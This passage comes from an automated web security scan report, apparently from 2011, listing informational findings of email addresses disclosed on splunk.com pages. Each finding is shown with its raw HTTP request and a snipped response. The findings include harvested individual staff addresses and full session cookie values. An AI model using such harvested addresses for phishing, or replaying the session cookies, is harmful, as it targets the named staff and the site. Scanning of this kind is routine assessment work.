Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: beab22e5c664d2ade3c5dca3c71145a41296944270
Last-Modified: Sat, 05 Feb 2011 22:17:50 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 43606

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

25.193. http://www.splunk.com/view/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/

Issue detail

The following email address was disclosed in the response:

support@splunk.com

Request

GET /view/ HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:17:26 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:47:26 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:47:26 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18113

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<a href="mailto:support@splunk.com">
...[SNIP]...

25.194. http://www.splunk.com/view/SP-CAAAAAH previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/SP-CAAAAAH

Issue detail

The following email address was disclosed in the response:

dmca@splunk.com

Request

GET /view/SP-CAAAAAH HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:17:21 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 43043

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<br />
dmca@splunk.com <br />
...[SNIP]...

25.195. http://www.splunk.com/view/SP-CAAAAH7 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/SP-CAAAAH7

Issue detail

The following email addresses were disclosed in the response:

apac_sales@splunk.com
emea_sales@splunk.com
fed_sales@splunk.com
info@splunk.com
partnering@splunk.com
press@splunk.com
sales@splunk.com

Request

GET /view/SP-CAAAAH7 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:16:33 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 28219

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<meta content="Contact Splunk, Inc - Splunk is headquartered in San Francisco, CA - For more information, contact info@splunk.com" name="description" />
...[SNIP]...
<a href="mailto:info@splunk.com">
...[SNIP]...
<a href="mailto:sales@splunk.com">
...[SNIP]...
<a href="mailto:emea_sales@splunk.com">
...[SNIP]...
<a href="mailto:emea_sales@splunk.com">
...[SNIP]...
<a href="mailto:fed_sales@splunk.com">
...[SNIP]...
<a href="mailto:apac_sales@splunk.com">
...[SNIP]...
<a href="mailto:partnering@splunk.com">
...[SNIP]...
<a href="mailto:press@splunk.com">
...[SNIP]...

...[SNIP]...

25.196. http://www.splunk.com/view/application-management-solutions/SP-CAAADSC previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/application-management-solutions/SP-CAAADSC

Issue detail

The following email addresses were disclosed in the response:

bob@splunk.com
dan@splunk.com
jblake@splunk.com
maverick@splunk.com
ndoshi@splunk.com
vly@splunk.com

Request

GET /view/application-management-solutions/SP-CAAADSC HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

25.197. http://www.splunk.com/view/contact-us/SP-CAAAAH7 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/contact-us/SP-CAAAAH7

Issue detail

The following email addresses were disclosed in the response:

apac_sales@splunk.com
emea_sales@splunk.com
fed_sales@splunk.com
info@splunk.com
partnering@splunk.com
press@splunk.com
sales@splunk.com

Request

Response

25.198. http://www.splunk.com/view/education/SP-CAAAAH9 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/education/SP-CAAAAH9

Issue detail

The following email address was disclosed in the response:

sales@splunk.com

Request

GET /view/education/SP-CAAAAH9 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:16:31 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 27459

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<a href="mailto:sales@splunk.com">
...[SNIP]...
<a href="mailto:sales@splunk.com">
...[SNIP]...

25.199. http://www.splunk.com/view/government/SP-CAAADSN previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/government/SP-CAAADSN

Issue detail

The following email addresses were disclosed in the response:

civilian@splunk.com
dod@splunk.com
fed@splunk.com
fed_sales@splunk.com

Request

GET /view/government/SP-CAAADSN HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:14:11 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: c20851d9a161d4198fcec894aa2436321296944052
Last-Modified: Sat, 05 Feb 2011 22:14:12 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 33774

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<a href="mailto:fed@splunk.com">
...[SNIP]...
<a href="mailto:fed_sales@splunk.com">
...[SNIP]...
<a href="mailto:fed@splunk.com">fed@splunk.com</a>
...[SNIP]...
<a href="mailto:dod@splunk.com">dod@splunk.com</a>
...[SNIP]...
<a href="mailto:civilian@splunk.com">civilian@splunk.com</a>
...[SNIP]...
<a href="mailto:fed@splunk.com">fed@splunk.com</a>
...[SNIP]...

25.200. http://www.splunk.com/view/it-operations-solutions/SP-CAAADSA previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/it-operations-solutions/SP-CAAADSA

Issue detail

The following email addresses were disclosed in the response:

cervelli@splunk.com
dan@splunk.com
dj@splunk.com
fwilmot@splunk.com
jblake@splunk.com
jcollins@splunk.com
maverick@splunk.com
sshelston@splunk.com
thewilde@splunk.com
vly@splunk.com
will@splunk.com

Request

GET /view/it-operations-solutions/SP-CAAADSA HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:13:23 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: 33e9199602955cce554e952cf17fc4051296944003
Last-Modified: Sat, 05 Feb 2011 22:13:23 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 41601

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

25.201. http://www.splunk.com/view/long-tail/SP-CAAAE7F previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/long-tail/SP-CAAAE7F

Issue detail

The following email addresses were disclosed in the response:

araitz@splunk.com
bhornish@splunk.com
bob@splunk.com
cervelli@splunk.com
dan@splunk.com
dj@splunk.com
fwilmot@splunk.com
hash@splunk.com
jblake@splunk.com
jcollins@splunk.com
jtopp@splunk.com
marketing@splunk.com
maverick@splunk.com
ndoshi@splunk.com
sshelston@splunk.com
thewilde@splunk.com
vly@splunk.com
will@splunk.com

Request

GET /view/long-tail/SP-CAAAE7F HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:13:54 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: d938ae37df30fcde3c79faa9ce26e0881296944034
Last-Modified: Sat, 05 Feb 2011 22:13:54 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 40840

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<a href="mailto:marketing@splunk.com">
...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

25.202. http://www.splunk.com/view/partner-programs/SP-CAAACED previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/partner-programs/SP-CAAACED

Issue detail

The following email address was disclosed in the response:

will@splunk.com

Request

GET /view/partner-programs/SP-CAAACED HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:14:48 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: e807fd9c5df0f4c3a1c2abb0a0cf71351296944090
Last-Modified: Sat, 05 Feb 2011 22:14:50 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 23582

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...

...[SNIP]...

25.203. http://www.splunk.com/view/professional-services/SP-CAAABH9 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/professional-services/SP-CAAABH9

Issue detail

The following email addresses were disclosed in the response:

araitz@splunk.com
bhornish@splunk.com
bob@splunk.com
cervelli@splunk.com
dan@splunk.com
dj@splunk.com
fwilmot@splunk.com
hash@splunk.com
jblake@splunk.com
jcollins@splunk.com
jtopp@splunk.com
maverick@splunk.com
ndoshi@splunk.com
sshelston@splunk.com
thewilde@splunk.com
vly@splunk.com
will@splunk.com

Request

GET /view/professional-services/SP-CAAABH9 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:16:28 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 37255

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

25.204. http://www.splunk.com/view/resources/SP-CAAACGF previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/resources/SP-CAAACGF

